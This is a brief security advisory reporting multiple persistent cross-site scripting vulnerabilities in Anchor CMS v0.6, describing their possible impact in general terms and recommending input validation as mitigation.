Anchor CMS v0.6 Multiple Persistent XSS Vulnerabilities

Anchor CMS is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input. Attacker-supplied HTML and script code could be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks may also be possible.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to generate HTML output.
